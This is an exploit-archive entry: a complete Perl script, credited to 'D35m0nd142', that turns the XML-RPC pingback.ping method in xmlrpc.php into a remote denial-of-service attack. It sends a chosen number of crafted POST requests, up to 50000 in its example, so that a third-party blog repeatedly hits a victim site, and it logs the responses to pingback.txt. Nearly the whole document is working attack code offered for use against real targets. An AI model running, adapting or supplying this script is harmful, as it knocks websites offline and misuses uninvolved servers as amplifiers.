XML-RPC PingBack API Remote DoS Exploit (through xmlrpc.php)

#Exploit Title: XML-RPC PingBack API Remote Denial of Service exploit (through xmlrpc.php)
#Date: 04/01/2013
#Category: Remote
#Exploit Author: D35m0nd142
#Tested on: (Debian) Linux
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request::Common;
use IO::Socket::INET;
system("clear");
print "***************************************************************************************\n";
print "*               XML-RPC PingBack API Remote Denial of Service exploit                 *\n";
print "*      Usage: ./exploit.pl <xml_website> <target> <requests count> <real_article>     *\n";
print "*   Example: ./exploit.pl www.myblog.com www.victim.com 50000 /blog/virus-protection/ *\n";
print "*                             Created by D35m0nd142                                   *\n";
print "***************************************************************************************\n\n";
my $target = $ARGV[1] ;
my $xml_site = $ARGV[0];
my $article = $ARGV[3];
my $count = $ARGV[2];
if($count eq '' || $article eq '' || $xml_site eq '' || $target eq '')
{
print "\n[!] Usage: ./exploit.pl <xml_website> <target> <requests count> <real article>\n\n";
exit(1);
}

if($target !~ /http:\/\//)
{
$target = "http://$target";
}
if($xml_site !~ /http:\/\//)
{
$xml_site = "http://$xml_site";
}

$full = $target.$article;
sleep 1;

$text = "<?xml version='1.0' encoding='iso-8859-1'?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>$target</string></value></param><param><value><string>$full</string></value></param></params></methodCall>";
$request_length= length $text;

print "Sending POST requests . . \n";

$filename = "pingback.txt";
open(FILE , "> $filename");
for($i=1;$i<=$count;$i++)
{
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0] , PeerPort => 'http(80)', Proto => 'tcp'); #You can change 'PeerPort' if you need
$request = "POST /xmlrpc.php HTTP/1.1\r\nHost: $ARGV[0]\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $request_length\r\n\n<?xml version=\"1.0\" encoding=\"iso-8859-1\"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>$ARGV[1]</string></value></param><param><value><string>$ARGV[0]$ARGV[3]</string></value></param></params></methodCall>\r\n\r\n";
sleep 1;
print $request;
print $sock $request;
while(<$sock>)
{
print FILE;
}

}
#system("rm pingback.txt"); //If you want to save all connections made in pingback.txt file, remove '#' .

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